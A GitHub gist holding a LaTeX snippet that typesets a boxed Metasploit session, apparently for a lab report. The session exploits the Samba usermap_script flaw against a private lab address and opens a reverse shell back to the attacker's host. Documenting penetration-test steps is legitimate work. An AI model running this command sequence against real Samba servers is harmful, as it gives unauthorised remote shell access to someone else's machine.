Skip to content

Instantly share code, notes, and snippets.

@iAbadia
Created November 3, 2016 18:45
Show Gist options
  • Save iAbadia/6a23f56e5d13015ccc19db5c431557e7 to your computer and use it in GitHub Desktop.
Save iAbadia/6a23f56e5d13015ccc19db5c431557e7 to your computer and use it in GitHub Desktop.
\newcommand{\shellcmd}[1]{\\\indent\indent\texttt{\footnotesize\$ #1}}
\begin{center}
\fbox{\begin{minipage}{30em}
\shellcmd{use exploit/multi/samba/usermap\_script}
\shellcmd{set payload cmd/unix/reverse}
\shellcmd{set RHOST 192.168.10.11}
\shellcmd{set RPORT 445}
\shellcmd{set LHOST 192.168.10.10}
\shellcmd{exploit}
\end{minipage}}
\end{center}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment